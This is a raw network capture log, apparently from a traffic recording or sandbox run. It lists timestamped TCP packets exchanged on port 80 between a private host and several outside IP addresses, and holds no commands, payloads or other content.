Aug 30, 2024 03:17:07.541582108 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541588068 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541596889 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541599035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541610003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541631937 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541650057 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541884899 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541912079 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.541925907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541940928 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.541977882 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542006969 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542016983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542026997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542043924 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542049885 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542059898 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542059898 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542071104 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542082071 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542102098 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542104006 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542110920 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542123079 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542141914 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542144060 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542155027 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542155027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542171001 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542180061 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542182922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542198896 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542218924 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542459011 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542484999 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542495012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542516947 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542531013 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542534113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542545080 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542555094 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542571068 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542577982 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542579889 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542588949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.542598963 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542608976 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.542630911 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547391891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547410965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547441006 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547451019 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547523022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547533035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547543049 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547565937 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547594070 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547615051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547625065 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547635078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547646999 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547658920 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547668934 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547682047 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547713995 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547723055 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547732115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547739983 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547743082 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547746897 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547754049 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547770023 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547786951 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547797918 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547804117 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547810078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547828913 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547832012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547842026 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547843933 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547857046 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547869921 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547872066 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547882080 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547889948 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547904968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547913074 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547919035 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547923088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547933102 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547935963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547959089 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547966003 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.547971010 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547981024 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.547992945 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548003912 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548012018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548012018 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548022032 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548033953 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548036098 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548053980 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548059940 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548064947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548073053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548084021 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548095942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548103094 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548109055 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548119068 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548130035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548130989 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548150063 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548171997 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548271894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548288107 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548296928 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548325062 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548336029 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548336983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548347950 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548379898 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548382044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548392057 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548401117 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.548423052 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.548432112 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.551429033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551439047 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551449060 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551484108 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551493883 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551495075 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551506042 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551515102 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551534891 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551558018 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551583052 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551594973 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551604986 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551616907 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551632881 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551651001 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551676035 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551707983 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551718950 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551749945 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551765919 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551776886 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551784992 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551785946 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551808119 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551834106 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551888943 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551898003 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551903009 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551912069 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551922083 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551932096 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551945925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551950932 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551978111 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.551985979 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.551986933 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.552000046 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.552026033 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.569451094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569494963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569503069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.569505930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569526911 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.569540024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569541931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.569550037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569560051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569582939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.569602966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.569674015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569684029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569694042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569706917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569715023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.569732904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.569734097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569749117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569755077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.569761038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569771051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.569778919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.569801092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.570033073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.570069075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.570218086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.574934006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.578414917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578442097 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578453064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578490019 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.578525066 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578535080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578546047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578567982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578578949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578586102 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.578589916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578608990 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.578630924 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.578644037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578655958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578677893 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.578684092 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578696012 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578701019 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.578706026 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.578713894 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.578723907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.578744888 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.600400925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600557089 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600568056 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600585938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600600958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600611925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600621939 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600629091 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600634098 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600645065 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600651979 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600656033 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600672960 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600684881 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600694895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600696087 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600709915 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600725889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600734949 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600739956 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600747108 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600758076 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600761890 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600773096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600784063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600790977 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600822926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600825071 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600836039 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600847006 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600857973 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600867987 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600872993 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600891113 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600908041 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600943089 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600960016 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600971937 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600981951 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600981951 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.600992918 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.600994110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601008892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601020098 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601049900 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601421118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601469040 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601502895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601512909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601520061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601536989 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601567984 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601576090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601586103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601598978 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601613045 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601619959 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601625919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601636887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601659060 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601663113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601675034 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601712942 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601751089 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601761103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601769924 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601782084 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601793051 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601793051 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601804018 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601810932 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601843119 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601850986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601862907 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601872921 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601891041 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601897955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601910114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601912022 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601922035 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.601938963 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.601959944 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.602417946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.602682114 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.602855921 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.602868080 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.602878094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.602911949 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.602927923 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.602946997 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.602957964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.602968931 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.602981091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.602981091 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.602992058 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603001118 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.603020906 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.603040934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603055954 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.603085041 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.603091002 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603101969 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603130102 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.603135109 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603144884 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603180885 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.603199959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603212118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603240013 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.603792906 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.603811026 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.603821993 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.603843927 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.603852034 CEST	49735	80	192.168.2.4	31.41.244.9
